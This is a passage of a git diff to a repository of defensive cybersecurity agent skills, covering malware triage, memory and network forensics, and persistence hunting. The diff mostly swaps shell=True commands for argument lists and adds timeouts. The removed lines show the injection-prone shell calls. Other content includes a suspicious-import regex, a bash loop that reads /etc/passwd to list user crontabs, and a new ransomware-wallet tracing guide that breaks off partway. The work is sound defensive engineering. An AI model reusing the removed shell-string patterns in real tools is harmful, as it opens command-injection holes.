indicators.append("UPX verification confirms packing") return indicators @@ -135,8 +134,8 @@ def check_packing(filepath): def analyze_dynamic_linking(filepath): """Analyze dynamic linking information and imported functions.""" - stdout, _, rc = subprocess.run(f"readelf -d {filepath}", shell=True, - capture_output=True, text=True).stdout, "", 0 + stdout, _, rc = subprocess.run(["readelf", "-d", filepath], + capture_output=True, text=True, timeout=120).stdout, "", 0 dynamic_info = {"libraries": [], "rpath": None} if stdout: for line in stdout.splitlines(): @@ -146,10 +145,17 @@ def analyze_dynamic_linking(filepath): if "RPATH" in line or "RUNPATH" in line: dynamic_info["rpath"] = line.split("[")[-1].rstrip("]") - stdout2, _, _ = subprocess.run( - f"readelf -r {filepath} | grep -E 'socket|connect|exec|fork|open|write|bind|listen|send|recv'", - shell=True, capture_output=True, text=True - ).stdout, "", 0 + readelf_proc = subprocess.run( + ["readelf", "-r", filepath], + capture_output=True, text=True, + timeout=120, + ) + import re as _re + suspicious_funcs = _re.compile(r'socket|connect|exec|fork|open|write|bind|listen|send|recv') + stdout2 = "\n".join( + line for line in (readelf_proc.stdout or "").splitlines() + if suspicious_funcs.search(line) + ) dynamic_info["suspicious_imports"] = [ line.strip() for line in (stdout2 or "").splitlines() if line.strip() ] diff --git a/skills/analyzing-linux-kernel-rootkits/scripts/agent.py b/skills/analyzing-linux-kernel-rootkits/scripts/agent.py index c976b75a..6627a273 100644 --- a/skills/analyzing-linux-kernel-rootkits/scripts/agent.py +++ b/skills/analyzing-linux-kernel-rootkits/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import logging import subprocess import os -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") diff --git a/skills/analyzing-linux-system-artifacts/scripts/agent.py b/skills/analyzing-linux-system-artifacts/scripts/agent.py index f2e15eaf..118f5bc1 100644 --- a/skills/analyzing-linux-system-artifacts/scripts/agent.py +++ b/skills/analyzing-linux-system-artifacts/scripts/agent.py @@ -4,15 +4,15 @@ import os import sys import glob -import json -import re -import datetime +import shlex import subprocess def run_cmd(cmd): - """Execute a shell command and return output.""" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) + """Execute a command and return output.""" + if isinstance(cmd, str): + cmd = shlex.split(cmd) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) return result.stdout.strip(), result.stderr.strip(), result.returncode @@ -196,10 +196,12 @@ def check_ld_preload(evidence_root): def find_suid_binaries(evidence_root): """Find SUID/SGID binaries (potential privilege escalation).""" - stdout, _, rc = run_cmd( - f"find {evidence_root} -perm -4000 -type f 2>/dev/null" + result = subprocess.run( + ["find", evidence_root, "-perm", "-4000", "-type", "f"], + capture_output=True, text=True, timeout=30 ) - return stdout.splitlines() if rc == 0 and stdout else [] + stdout = result.stdout.strip() + return stdout.splitlines() if result.returncode == 0 and stdout else [] def find_suspicious_tmp_files(evidence_root): diff --git a/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py b/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py index 41e495cf..19c60ed8 100644 --- a/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py +++ b/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py @@ -5,12 +5,11 @@ import re import os import sys import hashlib -import subprocess import json import zipfile try: - from oletools.olevba import VBA_Parser, TYPE_OLE, TYPE_OpenXML + from oletools.olevba import VBA_Parser from oletools import oleid HAS_OLETOOLS = True except ImportError: diff --git a/skills/analyzing-malicious-pdf-with-peepdf/scripts/agent.py b/skills/analyzing-malicious-pdf-with-peepdf/scripts/agent.py index 24e7aa51..63990595 100644 --- a/skills/analyzing-malicious-pdf-with-peepdf/scripts/agent.py +++ b/skills/analyzing-malicious-pdf-with-peepdf/scripts/agent.py @@ -37,9 +37,9 @@ def run_pdfid(filepath): """Run pdfid.py to triage PDF for suspicious keywords.""" cmd = ["python3", "-m", "pdfid", filepath] alt_cmd = ["pdfid.py", filepath] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: - result = subprocess.run(alt_cmd, capture_output=True, text=True) + result = subprocess.run(alt_cmd, capture_output=True, text=True, timeout=120) keywords = {} for line in result.stdout.strip().split("\n"): line = line.strip() @@ -59,9 +59,9 @@ def run_peepdf_analysis(filepath): """Run peepdf for detailed PDF object analysis.""" cmd = ["peepdf", "-f", "-l", filepath] alt_cmd = ["python3", "-m", "peepdf", "-f", "-l", filepath] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: - result = subprocess.run(alt_cmd, capture_output=True, text=True) + result = subprocess.run(alt_cmd, capture_output=True, text=True, timeout=120) analysis = { "versions": 0, "objects": 0, @@ -98,7 +98,7 @@ def run_pdf_parser(filepath, object_id=None): cmd = ["pdf-parser.py", "-o", str(object_id), "-f", "-d", filepath] else: cmd = ["pdf-parser.py", "--stats", filepath] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return result.stdout[:3000] @@ -107,7 +107,7 @@ def extract_javascript(filepath, peepdf_analysis): js_content = [] for obj_id in peepdf_analysis.get("js_objects", []): cmd = ["pdf-parser.py", "-o", str(obj_id), "-f", "-w", filepath] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.stdout: js_content.append({ "object_id": obj_id, diff --git a/skills/analyzing-malicious-url-with-urlscan/SKILL.md b/skills/analyzing-malicious-url-with-urlscan/SKILL.md index d2d9de03..8bb8231b 100644 --- a/skills/analyzing-malicious-url-with-urlscan/SKILL.md +++ b/skills/analyzing-malicious-url-with-urlscan/SKILL.md @@ -41,7 +41,7 @@ URLScan.io is a free service for scanning and analyzing suspicious URLs. It capt - Data URIs or base64-encoded content - JavaScript-heavy pages with minimal HTML -## Implementation Steps +## Workflow ### Step 1: Submit URL to URLScan ``` diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py index 90ed4390..a01f4b76 100644 --- a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py @@ -4,9 +4,7 @@ import json import os import sys -import subprocess import hashlib -import datetime try: import requests @@ -30,7 +28,7 @@ def submit_file(filepath, timeout=300, machine=None, package=None): data["machine"] = machine if package: data["package"] = package - resp = requests.post(url, files=files, data=data) + resp = requests.post(url, files=files, data=data, timeout=30) if resp.status_code == 200: return resp.json().get("task_id") return None @@ -42,7 +40,7 @@ def submit_url(url_to_analyze, timeout=300): return None url = f"{CUCKOO_API}/tasks/create/url" data = {"url": url_to_analyze, "timeout": timeout} - resp = requests.post(url, data=data) + resp = requests.post(url, data=data, timeout=30) if resp.status_code == 200: return resp.json().get("task_id") return None @@ -53,7 +51,7 @@ def get_task_status(task_id): if not HAS_REQUESTS: return None url = f"{CUCKOO_API}/tasks/view/{task_id}" - resp = requests.get(url) + resp = requests.get(url, timeout=30) if resp.status_code == 200: return resp.json().get("task", {}).get("status") return None diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md b/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md index e9861660..64bb8294 100644 --- a/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md +++ b/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md @@ -36,7 +36,7 @@ Malpedia uses the format `platform.family_name` (e.g., `win.emotet`, `elf.mirai` Malware families have relationships including: parent-child (code reuse, forks), loader-payload (Emotet loads TrickBot loads Ryuk), shared authorship (same threat actor develops multiple tools), and infrastructure sharing (common C2 frameworks). -## Practical Steps +## Workflow ### Step 1: Query Malpedia API for Malware Families diff --git a/skills/analyzing-malware-persistence-with-autoruns/SKILL.md b/skills/analyzing-malware-persistence-with-autoruns/SKILL.md index 2f643c6c..0cf1b31d 100644 --- a/skills/analyzing-malware-persistence-with-autoruns/SKILL.md +++ b/skills/analyzing-malware-persistence-with-autoruns/SKILL.md @@ -22,7 +22,7 @@ Sysinternals Autoruns extracts data from hundreds of Auto-Start Extensibility Po - VirusTotal API key for reputation checks - Clean baseline export for comparison -## Practical Steps +## Workflow ### Step 1: Automated Persistence Scanning diff --git a/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py b/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py index 0727cba9..ac06d00a 100644 --- a/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py +++ b/skills/analyzing-malware-persistence-with-autoruns/scripts/agent.py @@ -3,7 +3,6 @@ import json import csv -import os import re import logging import argparse diff --git a/skills/analyzing-malware-sandbox-evasion-techniques/scripts/agent.py b/skills/analyzing-malware-sandbox-evasion-techniques/scripts/agent.py index 023173ca..6f95bffb 100644 --- a/skills/analyzing-malware-sandbox-evasion-techniques/scripts/agent.py +++ b/skills/analyzing-malware-sandbox-evasion-techniques/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse from datetime import datetime -from collections import defaultdict TIMING_APIS = { "GetTickCount", "GetTickCount64", "QueryPerformanceCounter", diff --git a/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py b/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py index ad6eb2af..b95ff05c 100644 --- a/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py +++ b/skills/analyzing-memory-dumps-with-volatility/scripts/agent.py @@ -1,19 +1,18 @@ #!/usr/bin/env python3 """Memory forensics agent using Volatility 3 for malware detection in RAM dumps.""" +import shlex import subprocess import os import sys -import json -import csv -import re -import io def run_vol3(memory_dump, plugin, extra_args=""): """Execute a Volatility 3 plugin and return output.""" - cmd = f"vol3 -f {memory_dump} {plugin} {extra_args}" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=300) + cmd = ["vol3", "-f", memory_dump, plugin] + if extra_args: + cmd.extend(shlex.split(extra_args)) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) return result.stdout.strip(), result.stderr.strip(), result.returncode diff --git a/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py b/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py index c5a78cb1..5f43d4e6 100644 --- a/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py +++ b/skills/analyzing-memory-forensics-with-lime-and-volatility/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for Linux memory forensics using LiME acquisition and Volatility 3.""" -import os import json import subprocess import argparse @@ -12,13 +11,13 @@ from pathlib import Path def acquire_memory_lime(output_path, lime_format="lime"): """Acquire memory using LiME kernel module.""" kernel_version = subprocess.run( - ["uname", "-r"], capture_output=True, text=True + ["uname", "-r"], capture_output=True, text=True, timeout=120 ).stdout.strip() lime_module = f"lime-{kernel_version}.ko" if not Path(lime_module).exists(): lime_module = "lime.ko" cmd = ["insmod", lime_module, f"path={output_path}", f"format={lime_format}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return { "status": "success" if result.returncode == 0 else "failed", "output_path": output_path, diff --git a/skills/analyzing-network-covert-channels-in-malware/SKILL.md b/skills/analyzing-network-covert-channels-in-malware/SKILL.md index 5a3088f7..f4c42171 100644 --- a/skills/analyzing-network-covert-channels-in-malware/SKILL.md +++ b/skills/analyzing-network-covert-channels-in-malware/SKILL.md @@ -22,7 +22,7 @@ Malware uses covert channels to disguise C2 communication and data exfiltration - DNS query logging infrastructure - Understanding of DNS, ICMP, HTTP protocols at packet level -## Practical Steps +## Workflow ### Step 1: DNS Tunneling Detection diff --git a/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py b/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py index e37f17fa..0e0444b5 100644 --- a/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py +++ b/skills/analyzing-network-covert-channels-in-malware/scripts/agent.py @@ -9,11 +9,10 @@ import os import sys import json import math -import hashlib from collections import Counter, defaultdict try: - from scapy.all import rdpcap, DNS, DNSQR, DNSRR, ICMP, IP, TCP, UDP, Raw + from scapy.all import rdpcap, DNS, DNSQR, ICMP, IP, TCP, Raw HAS_SCAPY = True except ImportError: HAS_SCAPY = False diff --git a/skills/analyzing-network-flow-data-with-netflow/SKILL.md b/skills/analyzing-network-flow-data-with-netflow/SKILL.md index 2f51b211..932ddadd 100644 --- a/skills/analyzing-network-flow-data-with-netflow/SKILL.md +++ b/skills/analyzing-network-flow-data-with-netflow/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing Network Flow Data with Netflow + ## Instructions 1. Install dependencies: `pip install netflow` diff --git a/skills/analyzing-network-packets-with-scapy/scripts/agent.py b/skills/analyzing-network-packets-with-scapy/scripts/agent.py index 2cd703d5..f8ee429b 100644 --- a/skills/analyzing-network-packets-with-scapy/scripts/agent.py +++ b/skills/analyzing-network-packets-with-scapy/scripts/agent.py @@ -7,7 +7,7 @@ import argparse from collections import defaultdict, Counter from datetime import datetime -from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, ICMP, Raw +from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, ICMP def load_pcap(filepath): diff --git a/skills/analyzing-network-traffic-for-incidents/scripts/agent.py b/skills/analyzing-network-traffic-for-incidents/scripts/agent.py index 4de89641..2d018d66 100644 --- a/skills/analyzing-network-traffic-for-incidents/scripts/agent.py +++ b/skills/analyzing-network-traffic-for-incidents/scripts/agent.py @@ -6,10 +6,10 @@ import os import sys import json import statistics -from collections import defaultdict, Counter +from collections import defaultdict try: - from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw, ARP + from scapy.all import rdpcap, IP, TCP, DNS HAS_SCAPY = True except ImportError: HAS_SCAPY = False @@ -17,9 +17,11 @@ except ImportError: def run_tshark(pcap_path, display_filter, fields): """Run tshark with a display filter and extract specific fields.""" - field_args = " ".join(f"-e {f}" for f in fields) - cmd = f'tshark -r {pcap_path} -Y "{display_filter}" -T fields {field_args} -E separator="|"' - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=120) + cmd = ["tshark", "-r", pcap_path, "-Y", display_filter, "-T", "fields"] + for f in fields: + cmd += ["-e", f] + cmd += ["-E", "separator=|"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) rows = [] if result.returncode == 0: for line in result.stdout.strip().splitlines(): @@ -31,8 +33,8 @@ def run_tshark(pcap_path, display_filter, fields): def get_pcap_summary(pcap_path): """Get high-level PCAP statistics.""" - cmd = f"tshark -r {pcap_path} -q -z conv,ip" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + cmd = ["tshark", "-r", pcap_path, "-q", "-z", "conv,ip"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) return result.stdout if result.returncode == 0 else "" @@ -57,8 +59,8 @@ def detect_lateral_movement(pcap_path): def detect_data_exfiltration(pcap_path, threshold_mb=10): """Detect potential data exfiltration based on outbound data volume.""" - cmd = f'tshark -r {pcap_path} -q -z conv,ip' - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + cmd = ["tshark", "-r", pcap_path, "-q", "-z", "conv,ip"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) suspects = [] if result.returncode == 0: for line in result.stdout.splitlines(): @@ -120,10 +122,13 @@ def extract_dns_queries(pcap_path): def detect_ids_alerts(pcap_path): """Run Suricata on the PCAP and extract alerts.""" - cmd = f"suricata -r {pcap_path} -l /tmp/suricata_output -k none 2>/dev/null" - subprocess.run(cmd, shell=True, timeout=120) + import tempfile + suricata_output = os.environ.get("SURICATA_OUTPUT_DIR", os.path.join(tempfile.gettempdir(), "suricata_output")) + os.makedirs(suricata_output, exist_ok=True) + cmd = ["suricata", "-r", pcap_path, "-l", suricata_output, "-k", "none"] + subprocess.run(cmd, capture_output=True, timeout=120) alerts = [] - alert_file = "/tmp/suricata_output/fast.log" + alert_file = os.path.join(suricata_output, "fast.log") if os.path.exists(alert_file): with open(alert_file, "r") as f: for line in f: @@ -134,8 +139,8 @@ def detect_ids_alerts(pcap_path): def extract_http_objects(pcap_path, output_dir): """Extract HTTP objects (files) from the PCAP.""" os.makedirs(output_dir, exist_ok=True) - cmd = f'tshark -r {pcap_path} --export-objects "http,{output_dir}"' - subprocess.run(cmd, shell=True, timeout=60) + cmd = ["tshark", "-r", pcap_path, "--export-objects", f"http,{output_dir}"] + subprocess.run(cmd, capture_output=True, timeout=60) exported = [] if os.path.exists(output_dir): for f in os.listdir(output_dir): diff --git a/skills/analyzing-network-traffic-of-malware/scripts/agent.py b/skills/analyzing-network-traffic-of-malware/scripts/agent.py index c329b388..6b729a7d 100644 --- a/skills/analyzing-network-traffic-of-malware/scripts/agent.py +++ b/skills/analyzing-network-traffic-of-malware/scripts/agent.py @@ -3,9 +3,7 @@ import os import sys -import json import math -import subprocess from collections import defaultdict, Counter try: @@ -15,7 +13,7 @@ except ImportError: HAS_DPKT = False try: - from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + from scapy.all import rdpcap, IP, TCP, DNS, DNSQR HAS_SCAPY = True except ImportError: HAS_SCAPY = False diff --git a/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py b/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py index 74829729..e5841bb3 100644 --- a/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py +++ b/skills/analyzing-network-traffic-with-wireshark/scripts/agent.py @@ -2,26 +2,24 @@ """Wireshark/tshark packet analysis agent for network security investigations.""" import subprocess +import shlex import os import sys -import json -import re -from collections import defaultdict def run_tshark(pcap_path, args): """Execute tshark with custom arguments.""" - cmd = f"tshark -r {pcap_path} {args}" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=120) + cmd = ["tshark", "-r", pcap_path] + shlex.split(args) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return result.stdout.strip(), result.stderr.strip(), result.returncode def capture_live(interface, output_path, duration=60, capture_filter=None): """Start a live packet capture using tshark.""" - cmd = f"tshark -i {interface} -w {output_path} -a duration:{duration}" + cmd = ["tshark", "-i", interface, "-w", output_path, "-a", f"duration:{duration}"] if capture_filter: - cmd += f' -f "{capture_filter}"' - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=duration + 10) + cmd += ["-f", capture_filter] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=duration + 10) return result.returncode == 0 diff --git a/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py b/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py index 0bae5c05..f87704b1 100644 --- a/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py +++ b/skills/analyzing-outlook-pst-for-email-forensics/scripts/agent.py @@ -10,8 +10,6 @@ import sys import json import hashlib import re -from datetime import datetime -from collections import defaultdict try: import pypff diff --git a/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py b/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py index 4f09b678..05290059 100644 --- a/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py +++ b/skills/analyzing-packed-malware-with-upx-unpacker/scripts/agent.py @@ -5,7 +5,6 @@ import subprocess import os import sys import hashlib -import struct import math from collections import Counter @@ -129,8 +128,8 @@ def unpack_upx(filepath, output_path=None): if output_path is None: output_path = filepath + ".unpacked" # First try standard UPX decompression - cmd = f"upx -d -o {output_path} {filepath}" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + cmd = ["upx", "-d", "-o", output_path, filepath] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: return True, "Standard UPX unpack succeeded", output_path diff --git a/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py b/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py index c76db832..128e5389 100644 --- a/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py +++ b/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py @@ -5,9 +5,7 @@ import re import os import sys import hashlib -import json import zlib -import struct def compute_hash(filepath): diff --git a/skills/analyzing-persistence-mechanisms-in-linux/scripts/agent.py b/skills/analyzing-persistence-mechanisms-in-linux/scripts/agent.py index 3b240380..e55ffe2f 100644 --- a/skills/analyzing-persistence-mechanisms-in-linux/scripts/agent.py +++ b/skills/analyzing-persistence-mechanisms-in-linux/scripts/agent.py @@ -44,7 +44,8 @@ def scan_crontabs(): findings.extend(_scan_cron_file(full_path)) user_crontabs = subprocess.run( ["bash", "-c", "for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u 2>/dev/null && echo \"__USER:$u\"; done"], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) if user_crontabs.returncode == 0: current_user = None @@ -112,7 +113,8 @@ def scan_systemd_units(): if re.search(pattern, ex, re.IGNORECASE): risk = "critical" dpkg_check = subprocess.run( - ["dpkg", "-S", unit_file], capture_output=True, text=True + ["dpkg", "-S", unit_file], capture_output=True, text=True, + timeout=120, ) package_managed = dpkg_check.returncode == 0 if not package_managed: @@ -141,7 +143,7 @@ def scan_ld_preload(): "libraries": content.splitlines(), "risk": "critical", "mitre": "T1574.006", }) - env_check = subprocess.run(["env"], capture_output=True, text=True) + env_check = subprocess.run(["env"], capture_output=True, text=True, timeout=120) for line in env_check.stdout.splitlines(): if line.startswith("LD_PRELOAD="): findings.append({ @@ -174,7 +176,7 @@ def scan_shell_profiles(): continue etc_profiles = glob.glob("/etc/profile.d/*.sh") for filepath in etc_profiles: - dpkg = subprocess.run(["dpkg", "-S", filepath], capture_output=True, text=True) + dpkg = subprocess.run(["dpkg", "-S", filepath], capture_output=True, text=True, timeout=120) if dpkg.returncode != 0: findings.append({ "type": "etc_profile_d", "path": filepath, diff --git a/skills/analyzing-phishing-email-headers/LICENSE b/skills/analyzing-phishing-email-headers.bak/LICENSE similarity index 100% rename from skills/analyzing-phishing-email-headers/LICENSE rename to skills/analyzing-phishing-email-headers.bak/LICENSE diff --git a/skills/analyzing-phishing-email-headers/SKILL.md b/skills/analyzing-phishing-email-headers.bak/SKILL.md similarity index 100% rename from skills/analyzing-phishing-email-headers/SKILL.md rename to skills/analyzing-phishing-email-headers.bak/SKILL.md diff --git a/skills/analyzing-phishing-email-headers/assets/template.md b/skills/analyzing-phishing-email-headers.bak/assets/template.md similarity index 100% rename from skills/analyzing-phishing-email-headers/assets/template.md rename to skills/analyzing-phishing-email-headers.bak/assets/template.md diff --git a/skills/analyzing-phishing-email-headers/references/api-reference.md b/skills/analyzing-phishing-email-headers.bak/references/api-reference.md similarity index 100% rename from skills/analyzing-phishing-email-headers/references/api-reference.md rename to skills/analyzing-phishing-email-headers.bak/references/api-reference.md diff --git a/skills/analyzing-phishing-email-headers/references/standards.md b/skills/analyzing-phishing-email-headers.bak/references/standards.md similarity index 100% rename from skills/analyzing-phishing-email-headers/references/standards.md rename to skills/analyzing-phishing-email-headers.bak/references/standards.md diff --git a/skills/analyzing-phishing-email-headers/references/workflows.md b/skills/analyzing-phishing-email-headers.bak/references/workflows.md similarity index 100% rename from skills/analyzing-phishing-email-headers/references/workflows.md rename to skills/analyzing-phishing-email-headers.bak/references/workflows.md diff --git a/skills/analyzing-phishing-email-headers/scripts/agent.py b/skills/analyzing-phishing-email-headers.bak/scripts/agent.py similarity index 98% rename from skills/analyzing-phishing-email-headers/scripts/agent.py rename to skills/analyzing-phishing-email-headers.bak/scripts/agent.py index 05336de2..48f61fb3 100644 --- a/skills/analyzing-phishing-email-headers/scripts/agent.py +++ b/skills/analyzing-phishing-email-headers.bak/scripts/agent.py @@ -7,12 +7,9 @@ suspicious routing, and phishing indicators. import os import sys -import json import re import email import email.utils -from datetime import datetime -from collections import OrderedDict def parse_email_file(filepath): diff --git a/skills/analyzing-phishing-email-headers/scripts/process.py b/skills/analyzing-phishing-email-headers.bak/scripts/process.py similarity index 100% rename from skills/analyzing-phishing-email-headers/scripts/process.py rename to skills/analyzing-phishing-email-headers.bak/scripts/process.py diff --git a/skills/analyzing-powershell-script-block-logging/SKILL.md b/skills/analyzing-powershell-script-block-logging/SKILL.md index b0abbd1b..f3314519 100644 --- a/skills/analyzing-powershell-script-block-logging/SKILL.md +++ b/skills/analyzing-powershell-script-block-logging/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing PowerShell Script Block Logging + ## Instructions 1. Install dependencies: `pip install python-evtx lxml` diff --git a/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py b/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py index c3fab16b..d107f28a 100644 --- a/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py +++ b/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py @@ -4,7 +4,6 @@ import struct import os import sys -import hashlib import datetime import json import glob @@ -164,11 +163,11 @@ def build_execution_timeline(prefetch_results): def run_pecmd(prefetch_path, output_dir=None): """Run Eric Zimmerman's PECmd for comprehensive prefetch parsing.""" - cmd = f"PECmd.exe -f {prefetch_path}" - if output_dir: - cmd += f" --csv {output_dir}" import subprocess - result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) + cmd = ["PECmd.exe", "-f", prefetch_path] + if output_dir: + cmd += ["--csv", output_dir] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) return result.stdout, result.returncode diff --git a/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py b/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py index ab27a53d..ade9e46b 100644 --- a/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py +++ b/skills/analyzing-ransomware-encryption-mechanisms/scripts/agent.py @@ -7,11 +7,9 @@ and assesses decryption feasibility for ransomware samples and encrypted files. import os import sys -import struct import hashlib import math import json -import re from collections import Counter diff --git a/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md b/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md index 1c02f797..73ac0696 100644 --- a/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md +++ b/skills/analyzing-ransomware-leak-site-intelligence/SKILL.md @@ -36,7 +36,7 @@ Leak sites provide: victim identification (company name, sector, country), attac Never directly access DLS sites in a production environment. Use purpose-built monitoring services (Ransomwatch, DarkFeed, KELA, Flashpoint), Tor-isolated research VMs, commercial threat intelligence platforms, or community-maintained datasets. All analysis should be conducted in isolated environments with proper authorization. -## Practical Steps +## Workflow ### Step 1: Ingest Ransomware Leak Site Data from Public Feeds diff --git a/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py b/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py index 944f0f9a..5214d2bc 100644 --- a/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py +++ b/skills/analyzing-ransomware-leak-site-intelligence/scripts/agent.py @@ -5,11 +5,8 @@ Monitors and analyzes ransomware group leak site data for threat intelligence, victim tracking, and TTI (time-to-intelligence) reporting. """ -import os import sys import json -import re -import hashlib from datetime import datetime, timedelta from collections import defaultdict, Counter diff --git a/skills/analyzing-ransomware-network-indicators/scripts/agent.py b/skills/analyzing-ransomware-network-indicators/scripts/agent.py index a012d7b6..65329f34 100644 --- a/skills/analyzing-ransomware-network-indicators/scripts/agent.py +++ b/skills/analyzing-ransomware-network-indicators/scripts/agent.py @@ -3,11 +3,10 @@ import json import csv -import math import argparse import urllib.request from datetime import datetime -from collections import defaultdict, Counter +from collections import defaultdict from statistics import mean, stdev TOR_EXIT_LIST_URL = "https://check.torproject.org/torbulkexitlist" diff --git a/skills/auditing-kubernetes-rbac-permissions/LICENSE b/skills/analyzing-ransomware-payment-wallets/LICENSE similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/LICENSE rename to skills/analyzing-ransomware-payment-wallets/LICENSE diff --git a/skills/analyzing-ransomware-payment-wallets/SKILL.md b/skills/analyzing-ransomware-payment-wallets/SKILL.md new file mode 100644 index 00000000..9a9f4f03 --- /dev/null +++ b/skills/analyzing-ransomware-payment-wallets/SKILL.md @@ -0,0 +1,163 @@ +--- +name: analyzing-ransomware-payment-wallets +description: > + Traces ransomware cryptocurrency payment flows using blockchain analysis tools + such as Chainalysis Reactor, WalletExplorer, and blockchain.com APIs. Identifies + wallet clusters, tracks fund movement through mixers and exchanges, and supports + law enforcement attribution. Activates for requests involving ransomware payment + tracing, bitcoin wallet analysis, cryptocurrency forensics, or blockchain + intelligence gathering. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, blockchain, cryptocurrency, forensics, threat-intelligence, bitcoin] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Analyzing Ransomware Payment Wallets + +## When to Use + +- An organization has been hit by ransomware and the ransom note contains a Bitcoin or cryptocurrency wallet address that needs investigation +- Law enforcement or incident responders need to trace where ransom payments flowed after the victim paid +- Threat intelligence analysts are attributing ransomware campaigns by clustering payment infrastructure across incidents +- Investigators need to determine if a ransomware group is reusing wallet infrastructure across multiple victims +- Compliance or legal teams need evidence of fund flows for prosecution, sanctions enforcement, or insurance claims + +**Do not use** this skill for live payment interception or to interact directly with ransomware operators. All analysis should be passive and read-only against public blockchain data. + +## Prerequisites + +- Python 3.8+ with `requests`, `json`, and `hashlib` libraries +- Access to blockchain explorer APIs (blockchain.com, WalletExplorer.com, Blockstream.info) +- Familiarity with Bitcoin transaction model (UTXOs, inputs, outputs, change addresses) +- Understanding of common obfuscation techniques (mixers, tumblers, peel chains, cross-chain swaps) +- Optional: Chainalysis Reactor license for enterprise-grade cluster analysis +- Optional: OXT.me for advanced transaction 